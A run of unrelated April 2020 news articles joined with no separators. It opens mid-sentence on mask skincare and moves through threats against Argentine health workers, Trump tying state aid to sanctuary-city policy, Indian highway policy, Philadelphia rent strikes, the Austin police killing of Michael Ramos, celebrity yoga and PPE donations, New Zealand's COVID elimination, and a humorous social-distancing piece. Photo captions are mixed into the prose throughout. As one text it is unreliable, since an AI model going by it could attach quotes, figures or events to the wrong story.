help repair skin. Additionally, Kovarik recommends not wearing makeup under a mask, as it could further clog your pores. READ MORE: Live your best life in Philly: Read our most useful stories here Buenos Aires, Argentina The first thing Fernando Gaitan did when he saw the note posted inside the elevator of his building was cry. Days later, when he received another one on his door, he felt a stabbing pain. Youre going to infect us all, said the initial anonymous letter directed at doctors, nurses, pharmacists and other healthcare workers on the front line of coronavirus pandemic. Go away. The second note told Gaitan, a pharmacist in the Argentine capital, that if anyone in the building gets sick, it will be the last thing you do in your life. I cried, because were obviously living a very tense situation and Im a human being like everyone else, said Gaitan. I honestly couldnt believe it. Because Im heading out to work and exposing myself. For weeks, Argentines have taken to their balconies every night to applaud and cheer on healthcare workers who are putting themselves in the line of fire to combat the novel coronavirus. But an uglier behaviour has also taken root, with several stories of harassment and threatening of medical professionals who are being accused of posing a risk to the community they are seeking to help. It is not just doctors who are targeted, but COVID-19 patients, or those who are suspected of carrying the disease. Marisol San Roman, who contracted the illness while studying in Madrid, has received a deluge of vitriol through social media channels. She has been called a leper, threatened with death, told her house will be lit on fire. She says she has heard worse stories from others who reach out to her in fear and indignation. Last week, someone torched the car of a doctor in the province of La Rioja who had tested positive for coronavirus. She had previously criticised the governor, who said that medical professionals need to be more careful in terms of taking precautions. When I started to see the level of violence I felt, this cant happen. Its not just a message of threats, its violence, said San Roman, 25, who has been dubbed by the media Patient 130 and has taken on a prominent role talking about the realities of the disease in Argentina. If they are attacking people, nobody is going to get tested and people are going to live with symptoms and thats the worst thing that could happen to our society. History repeats itself The behaviour has been vehemently rejected by Argentine officials. The vice mayor of Buenos Aires called the attacks on healthcare workers inadmissible. The citys ombudsman office expressed its profound worry and issued a warning to building administrations that the attacks are unacceptable. Argentinas National Institute Against Discrimination, Xenophobia and Racism (INADI) also launched a campaign aimed at combatting the behaviour. If the virus doesnt discriminate, neither should we, it said in its publicity campaign. The INADI has seen calls to its office increase by 50 percent since a government-imposed quarantine started, from about 20 to 30 a day. Initially, the calls were from people of Asian descent who had suffered racial discrimination. But complaints also came from other vulnerable groups, such as transgender individuals, who faced eviction during the pandemic. A healthcare worker in protective gear takes a voluntary blood sample to check for coronavirus disease (COVID-19) at Constitucion railway station in Buenos Aires, Argentina [Agustin Marcarian/Reuters] The threats against doctors started a few weeks ago, and most recently they have turned towards those with the virus. There have also been reports of mothers being barred from entering grocery stores with their children. Several cases have received media attention, but many more avoid the spotlight they are often of people whose names, photos and addresses are published online and shared widely through social media. Often, anonymous notes are posted in residential buildings, as was the case for another doctor in Buenos Aires who was told to avoid common areas of her building. I would love to tell you that the behaviour is unexpected, but thats not the case, said Victoria Donda, director of the INADI. When we think of what is happening to people who have coronavirus, we just have to think back to people who, many years ago, had leprosy and were ostracised by communities even though you couldnt transmit leprosy through touching. Or more recently, the people who had HIV, or the people who worked with them, she told Al Jazeera. When you think about it, that society is the same one that is responding in this way. Misinformation Argentina has been under a mandatory lockdown since March 20, meaning that most people must stay in their homes. But even before that, the government had placed importance on monitoring suspected cases of COVID-19, and ensuring that people who had returned from parts of the world with high rates of infection adhered to a mandatory isolation period. It urged citizens to report anyone who violated the rules and the calls flooded in. In the northern province of Jujuy, the governor was forced to apologise after he suggested officials should mark the doors of anyone who had recently returned to the province, to ensure they were completing their quarantine as they awaited test results on whether they had the virus. Stigmatisation always generates hate and violence, which is very far from my intention, Governor Gerardo Morales said following outrage over his comments. Donda says the discriminatory attacks are fuelled by fear and disinformation. And there is also hate and violent conduct, everything is mixed together, she said. Tomas Duartes own experience started on March 22, when he called the local health authority of his city of Rosario, the largest city of the province of Santa Fe, to advise he had a fever. They sent a team to take his temperature on the doorstep of his house. The neighbours noticed. And soon photos of the 26-year-old and allegations that he had tested positive multiplied to the thousands on Facebook and WhatsApp. In the middle of all this, he received a prank phone call telling him, falsely, that he had contracted the virus. It took days before the official results were revealed: He did not have COVID-19. The insults, the threats, the warnings things that I had not yet done or said, they were already accusing me and insulting me. It was horrible, he told Al Jazeera. The paranoia and staying inside makes us police our neighbours, he added. I mean, were all scared. Thats the reality. But doing something like this, it doesnt get you anywhere. People keep a social distance while waiting in line to take voluntary blood samples to check for coronavirus disease (COVID-19) at Constitucion railway station in Buenos Aires, Argentina [Agustin Marcarian/Reuters] San Roman, Duarte and Gaitan have each filed criminal complaints that are being investigated. And they all say the support from the public far outweighs the hate. The messages that Ive received from people are filled with so much love, said San Roman, who has recently tested negative for the virus for the first time. It fills your soul, said Gaitan. Nonetheless, he has installed a camera outside his door, and scans his home every time he walks in to make sure no one is lurking. Donda says the complaints are still coming in to the INADI. But she has been encouraged by the counter acts of kindness that have sprung up in the wake of the organisations publicity campaign. Neighbours are now installing signs of endorsement and love in their buildings. This is an opportunity. An opportunity to become a society with more solidarity, she said. Were the ones who build the future. We can choose to make it better, or we can choose to make it worse. And we cant get out of this one alone. President Trump tentatively said he was open to giving federal money to states whose budgets need help due to the coronvirus crisis - but they would have to fall in line with his policy agenda. 'We'd have to talk about things like sanctuary cities, as an example, I think sanctuary cities is something that has to be brought up where people who are criminals are protected, they are protected from prosecution,' Trump said Tuesday during an Oval Office meeting with Florida Gov. Ron DeSantis. Trump had spent Monday slamming U.S. cities and states seeking billions more dollars in federal aid to offset huge losses from the pandemic, suggesting that blue states - like New York, which has been the epicenter of the American outbreak - are simply badly run. President Trump said Tuesday he'd be open to giving cash strapped states federal funds if they fell in line with his policy agenda. Trump specifically mentioned sanctuary city status, where federal immigration laws are ignored, as something he'd like to see the money tied to President Trump (right) made the comments seated alongside Florida Gov. Ron DeSantis (left) in the Oval Office on Tuesday He took a swipe at Illinois, another state controlled by a Democratic governor. 'Why should the people and taxpayers of America be bailing out poorly run states (like Illinois, as example) and cities, in all cases Democrat run and managed, when most of the other states are not looking for bailout help? I am open to discussing anything, but just asking?' Trump wrote on Twitter. He continued to complain about the states during Tuesday's meeting with DeSantis. 'I think there's a big difference with a state that lost money because of Covid and a state that's been run very badly for 25 years,' Trump said. But the president also uttered a realization - that federal funding could be used as a carrot to get Democratic states to do his bidding. Bodies are moved to refrigerator truck morgues in New York. The president has suggested that some blue states that were hurt by the coronavirus are simply badly run Nurses and healthcare workers mourn their colleagues in New York City that were killed by COVID-19 'And you know, wed have to talk about things like payroll tax cuts,' the president said. As far as getting rid of sanctuary cities, Trump said, 'I think that has to be done. I think it's one of the problems that the states have. I don't even think they know they have a problem, but they have a big problem with the sanctuary situation.' Trump has long decried left-leaning 'sanctuary cities' like San Francisco that don't cooperate with the federal government's carrying out of immigration laws. Mayors and governors have been facing financial crisis as U.S. coronavirus cases topped 960,000 and led to nearly 55,000 deaths. Social distancing and stay-at-home orders to curb the virus have also triggered a surge in unemployment, curtailed consumer spending and depressed local tax revenue. Congress has allocated $150 billion for state and local governments, but governors requested another $500 billion and cities and counties want $250 billion to cover the costs of responding to the outbreak and replace lost revenue. Trump seemed to originally be following the lead of Senate Majority Leader Mitch McConnell who said last week on a conservative talk radio show that he 'would certainly be in favor' of letting states enter bankruptcy.' McConnell massaged that message on Monday. 'I wasnt saying they had to take bankruptcy. I think its just an option to be looked at, that unfortunately states dont have that option now, cities do. I wasnt necessarily recommending it, but I was pointing out that they have their own fiscal problems that predate the coronavirus, and I was not interested in borrowing money from future generations to fix age-old problems that states have that they created themselves wholly unrelated to this,' McConnell clarified on Guy Benson's radio show. Other Republicans, including Maryland Governor Larry Hogan, who chairs the National Governors Association (NGA), and some Republican senators, support funding for state and local governments. Democratic governors, including NGA Vice Chairman and New York Governor Andrew Cuomo, blasted McConnell's original comments, saying their states pay far more in federal taxes than they take in and allowing bankruptcy would upend financial markets. Union Minister Nitin Gadkari on Tuesday asked state governments to take urgent action to facilitate inter-state movement of vehicles carrying essential goods amid the coronavirus lockdown. States and union territories were also asked to expedite land acquisition and utilise funds worth Rs 25,000 crore allocated for the purpose to help regain momentum in road construction. In a video conference with state transport ministers, Gadkari also stressed upon speeding up proactive decision-making to accelerate economic development for which transport facilities serve as the backbone. Gadkari , the minister of road transport and highways and MSMEs, has "called upon all the states/UTs to take urgent action so that blockades of trucks and lorries at inter-state/UT borders is cleared at the earliest possible, as smooth movement of essential goods to various parts of the country is essential", according to a release. Speaking at the meeting, Gadkari urged the ministers to intervene in such matters and ensure resolutions through the local/district administrations. At the same time, he underlined adherence to guidelines like proper social distancing, wearing masks, use of sanitisers, both by the driver/cleaners and also at the dhabaas. The minister pointed out that transportation of labour to factories etc may be facilitated by duly following the health protocols of maintaining minimum one metre distance, wearing masks, use of sanitisers, etc besides stressing the need for providing food and shelter to labour while fully observing the norms of social distancing and hygiene. Responding to a suggestion, Gadkari informed that his ministry will start a helpline to resolve transportation issues. Minister of State for Road Transport and Highways V K Singh, state transport and PWD ministers/deputy chief ministers, chief ministers of Mizoram, Himachal Pradesh and Arunachal Pradesh also attended the meeting along with secretary, Ministry of Road Transport and Highways. Senior officers of the road transport ministry, NHAI, NHIDCL etc also attended the virtual meeting. "Gadkari informed that he was according top priority to the development of road/highway infrastructure and is planning to enhance National Highway construction by 2 to 3 times of the present pace in next couple of years. He urged states/UTs to "expedite land acquisition as delays hamper the pace of development and asked the them to utilise funds which are remaining unused with them to the extent of about Rs 25,000 crore", the statement said. Calling for speedier decision-making, Gadkari said this is critical for accelerated economic development to make India an economic super power and a 5-trillion economy. The minister stressed that transport infrastructure serves as the backbone of the economy and hence ministers should personally monitor the process of decision making to ensure that projects do not become victim of red-tape. Gadkari also suggested that state transport ministers should explore operationalising app-based two-wheeler taxis especially in rural areas which will assist farming communities with smoother movement. This will also provide new employment opportunities, he said and added the states may also try to shift public transport to LNG/CNG, e-vehicles which will bring considerable savings on fuel bills and will help the environment being less/zero polluting fuels. V K Singh called for greater coordination between states and the Centre which will help in faster project implementation. He, for example, recommended that no separate registration/charges should be insisted upon in case works are being shifted from one central agency to another. Such practices should be dispensed with, he said. A presentation was made showing the works being carried out during the lockdown period. "It was stated that 1,315 projects covering 49,238 kms worth Rs 5,89,648 crore were under progress, of which 819 projects covering 30,301 kms costing about Rs 3,06,250 crore were delayed. It also showed state-specific issues like pending land acquisition, environment clearance etc which have been delaying the project implementation," the release said. The participating states were asked to take definitive steps towards mitigating the difficulties before the highways sector. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Graffiti at 53rd and Whitby in West Philadelphia calls for a rent strike. Tenants across the city are organizing, some demanding landlords and management firms provide building-wide rent reductions and forgiveness. Read more As April 1 approached and millions of Americans were out of work, chatter built about how tenants would make rent or maybe wouldnt. Fliers posted around Philadelphia called for a rent strike, or a collective withholding to support those who couldnt pay. A citywide rent strike didnt materialize by April 1. At the time, the Philadelphia Tenants Union, one of the most visible groups in the city for supporting tenants rights, hadnt called for such an action. May 1 could be different. In mid-April, the Tenants Union officially urged tenants under the same landlord to organize, come up with collective demands for reduced or canceled rent, and be prepared to withhold their rent whether they have the ability to pay or not if those arent met. The goal, Tenants Union member Mat Wranovics said, is to politicize that nonpayment and use a widespread rent strike to pressure local, state, and federal officials to cancel rent and mortgage payments for six months, with no debt accrued or back pay required. This is by no means a radical demand, he said. Were in a radical situation. Interest in collective tenant action and a citywide rent strike, he said, has spiked dramatically. READ MORE: Frankford tenants frustrated with living conditions in buildings owned by NJ firm Some action has been taken to provide relief to renters and homeowners amid the economic crisis. Evictions in Philadelphia are on hold through at least June 1 as courts remain mostly closed. For federally subsidized housing and landlords with federally backed mortgages, evictions and foreclosures are paused through July. But rent payments are still due, and striking is legally thorny. Renters have the right to a court process before theyre evicted, but tenants organizing a union or council dont have legally protected bargaining rights in the same manner as labor unions. Nationally, almost 90% of apartment tenants paid all or some of their rent for this month by April 19, according to a survey by the National Multifamily Housing Council. The percentage isnt far off from payment rates in March and April of last year, which landlords attribute to their flexibility. Doug Bibby, the councils president, said, Residents are doing what they can to continue to meet their housing obligations. I think we all quickly breathed a sigh of relief, Timothy Henkel, principal and senior vice president at Pennrose in Philadelphia, said of fellow managers of rental properties. And then they looked toward May. Millions of people who worked for at least part of March will not have worked at all in April. And its unclear whether economic relief will come in time to help tenants pay for May. Unemployment benefits are backlogged, stimulus payments havent reached everyone who is eligible, and debt collectors can intercept those stimulus checks. And not everyone struggling to pay rent is eligible for federal relief. The bottom line is, were all holding our breaths for May rent, Henkel said. The expectation is that collections go down. The question will be: by how much? READ MORE: Do I have to pay my rent? Renters rights in Philadelphia during the coronavirus pandemic. The landlord-tenant house of cards Pennrose owns a variety of multifamily properties for renters in public housing, market-rate housing, low-income housing, and low-income housing for seniors. Seniors have been the most stable tenants throughout the pandemic, Henkel said. Pennrose is most concerned about the ability to pay rent of working, low-income residents who live paycheck to paycheck. As the pandemic drags on, the most vulnerable people will deplete what little savings they have and will have less to spend on essentials like food and rent, said Joshua Clark, an economist at the real estate website Zillow. Needs are especially dire for those paying more than a third of their income on housing. Support to renters is needed if this situation doesnt rapidly improve, Clark said. READ MORE: Phillys coronavirus rent-strike experiment has begun. 13 West Philly households are taking part He said hes worried about the fate of both tenants and landlords, especially small rental operations with thin margins. Its a house of cards, really, he said. You start missing those payments, it becomes a real problem. Nationwide groups of landlords and renters continue to ask for federal rental assistance. The National Rental Home Council, which represents the single-family rental industry, is lobbying for a long-term, interest-free loan for renters. Payment plans and waiving fees New Jersey renters now can use their security deposits to offset rent, thanks to an executive order Gov. Phil Murphy signed Friday. Some landlords have been verifying loss of income and putting tenants into payment plans, waiving fees for credit card and late payments, using security deposits or tenants last month rent, and, in some cases, reducing rent. All these things are short-term and Band-Aid approaches, Henkel said. And for now, most landlords arent raising rents for those who renew. This is not the moment to be raising rents, he said. But they cant stay flat forever, because expenses dont stay flat forever. Working together to find reasonable solutions is in everyones best interest, landlords said. READ MORE: The rent is due, and many cant pay. Heres what some Philadelphians are doing in the meantime. Landlords understand the sentiment behind rent strikes, Henkel said. But the ability for property owners and managers to maintain, operate, and clean buildings; pay expenses such as utilities and insurance; and complete critical repairs depends on rent payments, he said. Those are the things at risk if theres any kind of mass rent strike, he said. Most landlords want to work with their tenants, said Gary Jonas, president of the HOW Group, a property manager based in Conshohocken. For some tenants who have lost income, the company has reduced rent without requiring tenants to make up for it later and used the last months rent for those who cant pay. The HOW Group has collected roughly 95% of the April rent from its residential properties. Weve said to tenants, Look, were in it together, he said. "People really do understand we get their situation, and we want to be part of the solution to relieve a little stress and have a plan everybody thinks is fair. Our goal as an industry should be to help. Being proactive Housing advocates have encouraged tenants to discuss their situations with their landlords before considering strikes. Some landlords also have been reaching out to tenants, calling to see whether they need payment plans, connecting them with resources, and sometimes providing computers and assistance to tenants to file for unemployment and other benefits. READ MORE: As the first rent payments during the coronavirus pandemic come due, landlords hope for the best Wranovics said tenants should organize with one another first, then consider a rent strike if a landlord refuses to negotiate with the group. The union has created a tenant organizing guide and connects tenants with each other, hosts video chat office hours and workshops, and collaborates with tenants unions outside of Philadelphia. One of the groups the Tenants Union is working with is the New Age Tenants Council, a group of about 100 people who live in properties managed by New Age Realty Group, which leases and manages hundreds of units across the city. In a letter sent last week to New Age, the Tenants Council said mutual enemy COVID-19 has devastated our health, our communities, and our livelihoods. The group asked New Age to pledge to not evict any tenants for the remainder of the pandemic, to grant rent reductions, and to negotiate collective rents with tenants in multiunit buildings. Apollo ODeorain, who lives in a New Age-managed building in West Philly, joined the Tenants Council in March after being furloughed from a job at a movie theater. Theres no official plan to rent strike yet, ODeorain said, but it isnt off the table. The group, also planning to organize with other tenants councils to pressure elected officials, wants to ensure the members of its council dont withhold rent alone and risk eviction when courts reopen. Historically, collective organization has always worked out better, ODeorain said. We see when tenants individually go to their landlords or property managers that the deals that are made are far less convenient for the tenants. Lance Rogers, a real estate attorney with Rogers Castor in Ardmore, represents New Age and said the group cant unilaterally reduce rent, which is up to the owner of each unit. So far, New Age has received about 50 requests for assistance out of 900 tenants. He said the group will work with tenants and owners individually to address financial hardship. Theres no way theres a one-size-fits-all solution for the problem, he said. A criminal investigation is taking place into the fatal officer shooting of an Austin man over the weekend that has sparked outrage and protests over excessive police force. The shooting took place Friday when police officers responded to a 911 call about a man allegedly doing drugs in a car with a gun, which ended with officers shooting and killing Michael Brent Ramos, 42, Austin Police Chief Brian Manley said in a press conference Friday. On Monday, Manley said the Austin Police Department will conduct an independent investigation with help from the Texas Rangers from the Department of Public Safety. When responding to the call of drug use, officers arrived at the scene and found a car they believed to be the same vehicle involved in an incident on Thursday when a driver evaded officers. A criminal investigation is taking place into the fatal officer shooting of Austin man Michael Brent Ramos, 42, on Friday. The Austin Justice Coalition shared this image of Michael Ramos, pleading for justice in his death Video footage of the confrontation emerged on social media showing Ramos exiting his car with his hands raised in surrender before he was shot with a bean-bag Ramos exited the car but refused to comply with officer demands, leading Mitchell Pieper to fire a non-lethal 'bean bag' round on him. He returned to his vehicle and started to drive away, prompting Officer Christopher Taylor to fire his rifle at the vehicle, which then crashed into a parked car. Ramos was taken to the hospital where he died. He was identified by police on Monday. Chilling video footage of the confrontation has emerged on social media and shows at least three police vehicles in the parking lot of the Rosemont at Oak Valley apartments complex. Ramos is seen in a maroon shirt standing outside of his silver vehicle with his arms raised in surrender. Cops are heard screaming 'Walk towards us!' as they point their guns toward Ramos. Ramos shouts back 'For what?' The clip shows the moment that an officer fires the 'bean bag' and Ramos buckles forward and falls into his car and closes his door. Frantic neighbors watching the altercation scream 'Don't shoot, don't shoot! ' and 'This is wrong! What did y'all shoot for?' Three loud bangs can be heard as Ramos tries to drive away and officers release gunfire. The shooting took place Friday when police officers responded to a 911 call about a man allegedly doing drugs in a car with a gun, where they found Ramos. Cops pictured pointing guns toward Ramos When Ramos started to drive away, Officer Christopher Taylor fired his rifle at the vehicle, which then crashed into a parked car. Ramos was taken to a hospital where he died A view of the shooting scene following the shooting pictured above Pieper has been with the Austin police department since January and Taylor since December 2014. Taylor was one of three officers involved in a fatal shooting in downtown Austin in July 2019 that killed 46-year-old Mauris Nishanga DeSilva. The shooting of Ramos incited protests on Saturday with members of the community calling the violence unjust. 'He was doing what I would call the universal sign of retreat,' Chas Moore, executive director of the Austin Justice Coalition, said to CBS Austin on the attack. 'He had his hands up and after he was shot with a bean bag, he drove away, not towards the police, in what we would consider a flee for survival.' Austin Mayor Steve Adler condemned the shooting saying he was 'disturbed' by the alleged excessive use of force. 'Im very disturbed by the spectators video Ive now seen on which Mike Ramos does not appear to threaten but ends up dead. Theres got to be a better way. The use of force is the most most potent and irreversible of a police officers tools and requires trust between officers and the communities they protect,' he said in a statement. 'We must respond to this moment and also to the fear, anxiety and lack of confidence expressed by communities of color,' Adler said. 'This incident happens against the backdrop of investigations and assessments of the department that must also be full, transparent, concluded and reported,' he added. Austin Mayor Steve Adler condemned the shooting saying he was 'disturbed' by the alleged excessive use of force On Monday Police Chief Brian Manley said the Austin Police Department will conduct an independent investigation with help from the Texas Rangers from the Department of Public Safety into the officer-involved shooting The East Austin chapter of the League of United Latin American Citizens called for Police Chief Manleys resignation. On Monday, Manley shared condolences for Ramos' family. 'This is a trying time for our community, I share your concerns,' Manley said. He said that a warrant was obtained and confirmed that the car was the same as a car involved in the incident Thursday. An investigation into the officer-involved shooting will be conducted with the district attorney and other agencies, Manley said. The Civil Rights Unit of the DA's Office is conducting an investigation to determine if the officers' actions were compliant with state law, along with the APD Special Investigations Unit. Austin police have also asked the Texas Rangers to join the investigation, and two colonels said they will provide 'any and all assistance necessary'. A candlelight vigil was held for Ramos over the weekend. Posters depicting victims of the Austin Police Department's violence pictured above Protesters pictured over the weekend with a sign saying 'APD Murdered Mike Ramos' Protesters chant APD are murderers at an apartment complex on S Pleasant Valley Rd. in Southeast Austin. Police shot and killed a man in his 40s at the complex last night. pic.twitter.com/IhAsPczLrc Ariana Garcia (@Ariana_noGrande) April 26, 2020 Manley said that he's working to release body-camera footage of the officers who responded to the incident 'at our earliest opportunity in this investigation'. In the shooting Manley said the car has been searched, but declined to say whether a gun has been found. 'We have many witnesses that have yet to be interviewed and I do not want to put out information that they may not be aware of that would influence or change a statement that they may make,' Manley said. Manley says the ADP has interviewed six officers and 24 witnesses who were present for the shooting. 'I must emphasize that this is a criminal investigation to determine whether the officer's conduct constitutes a prosecutable offense. Therefore, collection and preservation of evidence is critical, and every effort must be made to protect the integrity of the investigation,' Margaret Moore, the Travis County District Attorney, said. Anyone who witnessed the incident or has video of it should contact the Austin Police Department at 512-472-TIPS With the lockdown, fitness has become one of the major talking points, especially with all the gyms and fitness centres being closed. During all this, one actor who is giving major fitness inspiration is Sonnalli Seygall, who was last seen in Jai Mummy Di. Sonnalli is considered as one of the hottest and fittest actors in the industry today, and the tall beauty has been sharing her Yoga routine with her followers religiously, inspiring many to follow suit. Highlighting the importance of Yoga for both body and mind, Sonnalli has been talking about why Meditation, Pranayama and breathing exercises are important. Especially in such times, when wellness of mind and body are equally important, as fear and uncertainty have taken over our lives because of the pandemic. Here are a few of her posts, under #YogaWithSonnalli that will certainly motivate you to give Yoga a try! This picture of hers at the beach, perfectly balancing herself upside down is the proof of her fit and perfect body! Yoga amidst nature definitely gives us fitness goals. Here are a few of her Yoga videos shot during lockdown! Sonnalli's videos and pictures have been garnering tremendous response, and many fans have reached out to her, for inspiring them to follow a holistic routine for a healthy mind and body. On a related note, Sonnalli Seygall will next be seen in Boondi Raita opposite Himansh Kohli. Directed by Kamal Chandra, the comedy-drama also stars Ravi Kishen in a pivotal role. Also Read : Sonnalli Seygall On The Nationwide Lockdown Owing To COVID-19 Scare: It's Like Blessing In Disguise Her disaster relief organisation, BStrong, in partnership with Global Empowerment Mission, has already raised over $4.5 million in funds and have distributed $18 million worth of protective equipment nationwide for essential workers in need. And Bethenny Frankel couldn't help but give a shout out to one special person, who donated $20,000. The 49-year-old entrepreneur revealed actress Lily Collins had made quite the sizeable donation to the cause on Monday. Grateful! Bethenny Frankel gave actress Lily Collins a shoutout on Monday after she donated $20,000 to her BStrong disaster relief organization amid the COVID-19 global pandemic Heroes: Lily later posted a snap of a group of medical workers with the donated PPE 'Thank you @lilycollins for your generous donation to #BStrong!' she began. 'Lily donated $20k that provided for 4,000 KN95 masks and 6,000 surgical masks to Martin Luther King Jr. Community Hospital.' The actress' donation comes after Bethenny revealed late last week that she's raised $4.5 million so far. Doing good things: The actress' donation comes after Bethenny revealed late last week that she's raised $4.5 million so far Generous: Their were several boxes of medical equipment #BSTRONG in partnership with @globalempowermentmovement has raised $4.5 Million in funds & distributed $18 Million in Protective Equipment (PPE) nationwide,' she began. Bethenny went on to say the funds include: '1) 1,881,780 units of Protective Equipment (PPE) to Frontline Workers (risking their lives to save OURS), 2) Distribution amongst: 20+ states.' Taking donations: Her disaster relief organisation, BStrong, in partnership with Global Empowerment Mission, has already raised over $4.5 million in funds and have distributed $18 million worth of protective equipment nationwide for essential workers in need Boxes on boxes: The funds also include distributing the products to the 185 facilities including; 'hospitals, clinics, police/fire departments, nursing departments, funeral homes, state health departments, and military bases' The funds also include distributing the products to the 185 facilities including; 'hospitals, clinics, police/fire departments, nursing departments, funeral homes, state health departments, and military bases.' BStrong has also distributed $20,000 nationwide for things such as 'hand sanitizer, immunity and hydration boosts, sanitation wipes, gloves, masks, and medical info.' Bethenny started the disaster relief organization in 2017 after Hurricane Harvey. She has gone on to raise money for various natural disasters, including; the 2018 California Fires, 2019 Amazon Fires and 2019/20 Australian Bushfires. After weeks of lockdown, New Zealand has achieved its ambitious goal of eliminating the coronavirus. But the country isn't celebrating yet. Over the past few days, newly diagnosed infections have been in the single digits. And on Monday, New Zealand reported just one new case. "That does give us confidence that we've achieved our goal of elimination, which never meant zero but it does mean we know where our cases are coming from," Ashley Bloomfield, New Zealand's Director General of Health, said on Monday, adding that there was only one case since April 1 where authorities were still investigating the source of infection. Monday was the final day of almost five weeks of strict level four lockdown measures, which New Zealand's Prime Minister Jacinda Ardern described as "the strictest constraints placed on New Zealanders in modern history." On Tuesday, the country eased into a less restrictive lockdown, with 400,000 more New Zealanders heading back to work and 75% of the country's economy operating, according to Ardern. The new level three restrictions also mean that New Zealanders will be able to hold small funerals and buy takeaways. New Zealand has reported 19 deaths and 1,472 confirmed and probable coronavirus cases, according to Johns Hopkins University. Of those, 1,214 -- of 82% of confirmed and probably cases -- have recovered, the Ministry of Health said Tuesday. But while New Zealand's success in eliminating the virus might seem like cause for celebration, Ardern is still urging vigilance. "We are not out of the woods," she said at a press conference Tuesday. "(Level three) is a recovery room of sorts to assess if the incredible work that New Zealanders have done ... has worked." When it comes to what worked, New Zealand had some advantages in tackling the virus. It had the benefit of time -- New Zealand confirmed its first case of coronavirus on February 28, well over a month after the United States confirmed its first case. It's a relatively remote island nation, and relatively few flights transit through New Zealand. It's also centrally governed, meaning it doesn't have states like the US or its neighbor Australia. But the real key to New Zealand's success appears to be an approach that could be applied anywhere -- moving swiftly, testing widely, and relying heavily on good science. Moving swiftly Like many countries, New Zealand had models that showed that a potential coronavirus outbreak could be devastating if no action was taken. Unlike some other countries, New Zealand responded relatively fast. When Ardern announced on March 14 that anyone entering the country would need to self isolate for two weeks, it was among the toughest border restrictions in the world. At the time, the country had six cases. When, on March 19, Ardern banned foreigners from entering the country, there were 28 confirmed cases. And on March 23, when Ardern announced that the country was going into lockdown, there were 102 confirmed cases -- and no deaths. "Decisive action, going hard and going early, helped to stamp out the worst of virus," Ardern in a statement Tuesday. There's a few reasons New Zealand took strong action. As Ardern said in a press conference on March 14, New Zealand is a key departure route to Pacific Islands -- and the country has a responsibility to protect its Pacific neighbors. But the swift actions were also for the benefit of New Zealanders. "Here in New Zealand, we don't have a lot of intensive care beds compared to some other countries. That's why (Ardern) acted really fast," Auckland University microbiologist Siouxsie Wiles said earlier this month. While New Zealand took prompt action, it is being slow to roll back prevention measures. Even as the country's cases appeared to trend downward, Ardern opted to extend the most restrictive, level four lockdown measures by five days. Despite that, many New Zealanders support the restrictions. In a Colmar Brunton survey last week, 87% said they approved of the way the government is responding to the pandemic. Testing widely New Zealand has ramped up its testing, to the point that it can now carry out up to 8,000 tests per day, Ardern said Tuesday. To date, New Zealand has carried out 126,066 tests. For comparison, the United Kingdom -- a country with around 13 times more people than New Zealand -- has completed 719,910 tests. But the real sign that New Zealand's testing is working is its test positivity rate -- the proportion of tests coming back positive. Dr. Mike Ryan, Executive Director of the WHO's Health Emergencies Programs, said recently that a good benchmark is to have at least 10 negative cases for every one positive case confirmed. That means if a state or country carries out testing and comes back with positive cases of around 9% or under, then it's likely that it is testing well. New Zealand's test positivity rate is around 1%, suggesting that there isn't widespread community transmission that's slipping under the radar. On Monday, Ardern noted that in other countries around the world, each person infected with coronavirus infects around 2.5 people. Under New Zealand's lockdown, that has dropped to 0.4 -- less than half a person infected. Relying on good science The real lesson from New Zealand has been the combination of good science and leadership, Professor Michael Baker, from Otago University's Public Health Department, said earlier this month. Throughout the lockdown period, Ardern has appeared alongside Bloomfield at regular press conferences, with Ardern often passing questions from the media to him. Although Bloomfield is a public servant, he is qualified in medicine and has a specialism in public health medicine. According to a statement on the Ministry of Health website, his particular area of professional interest is non-communicable disease prevention and control. "In New Zealand, it has been a wonderful link between good science, and brilliant leadership, and the two together are I think are really highly effective," said Baker. "I've been really disappointed that countries who have far more, absolutely the top science resources in the world, that is the US and UK, many countries in Europe, have not fared better than countries like New Zealand which has limited resources." The future Although New Zealand is currently being seen as a success story of the coronavirus crisis, it also shows that gains in the fight against Covid-19 doesn't mean a return to life as normal. Despite New Zealand's early success, the country is still effectively in lockdown, with most people still being told to stay home and stick to their "bubbles" -- the name for the people they are isolating with. "(Level three) is not and cannot be returned to pre-Covid-19 life," Ardern said Monday. "That day will come, but it is not here yet." Ardern pointed out that the battle against Covid-19 would continue until there is a vaccine. And -- like other countries -- New Zealand still has an economic fight to contend with. Tourism -- New Zealand's biggest export industry -- has taken a hit. Foreign nationals are still banned from entering the country, and any New Zealanders who arrive in the country will need to spend at least 14 days in government quarantine facilities. There is discussion about New Zealand and Australia opening their borders to one another, but for now, nothing official has been announced. Under a best case scenario, New Zealand's Treasury estimated that the country could see a 13% unemployment rate. "We will do all we can to ensure we fight the economic impacts of the virus in the same way we did the health threat," Ardern said on Tuesday. "With unity, with fast support, by looking after each other." You know the social distancing drill. Stay 6 feet away from others while in public. But what do you do when that clueless grocery store shopper gets too close for comfort at the checkout line? Or your neighbors get a little too neighborly while youre out for a walk around the block? How do you tell someone to back the (bleep) off without actually telling someone to back the (bleep) off? Simple, you get creative. With Texas now allowing retailers, restaurants and movie theaters to reopen Friday, albeit at 25 percent capacity, chances are youll experience even more close encounters of the uncomfortable kind. And while a polite please and thank you to step away should do, even the good manners experts at The Emily Post Institute stress that safety comes before etiquette. So yes, you should politely remind others to keep their distance. But you can still do it without sounding like a stuck-up hall monitor. Why not jazz it up with a clever line and a warm smile? After all, were talking safe but silly, not confrontational. Here are some cheeky yet courteous ways to ensure your fellow human being gives you that much needed space. Speak softly, but carry a big stick. No, we dont want you to swat at folks. But carrying a walking stick can do wonders for establishing and enforcing a perimeter around you. Or some pool noodles. Or do like Ryan Dempsey in San Francisco did. He attached pool noodles to a backpack that extend out around him so he looks like Doctor Octopus walking his dog. Dempsey even crafted a pool noodle backpack for his dog, Oona, too. Talk out loud, too loudly. You know those annoying clowns who shout into their smartphones like theyre in the middle of a hurricane? Be that annoying clown who shouts into your smartphone like youre in the middle of a hurricane. Real or fake, a loud conversation with an unseen party does wonders for clearing a path. Besides, you can blame the shouting on wearing a mask. Bow and curtsy. On social media, Jefferson Bodega owner Luke Horgan in San Antonio shared a friends gender agnostic bow and curtsy as a way to greet someone while maintaining social distancing. Were betting the gesture also has others back away in kind, because who curtsies now? Frequently mention your new anti-itch cream or lice treatment. Pretty self-explanatory. Rock a pair of Yosemite Sam Back Off mud flaps like a sandwich board. Hey, if it works for truck drivers ... Sing Dont Stand So Close to Me by the Police. An appropriate classic by a band named after law enforcement. How can you go wrong? Fart. 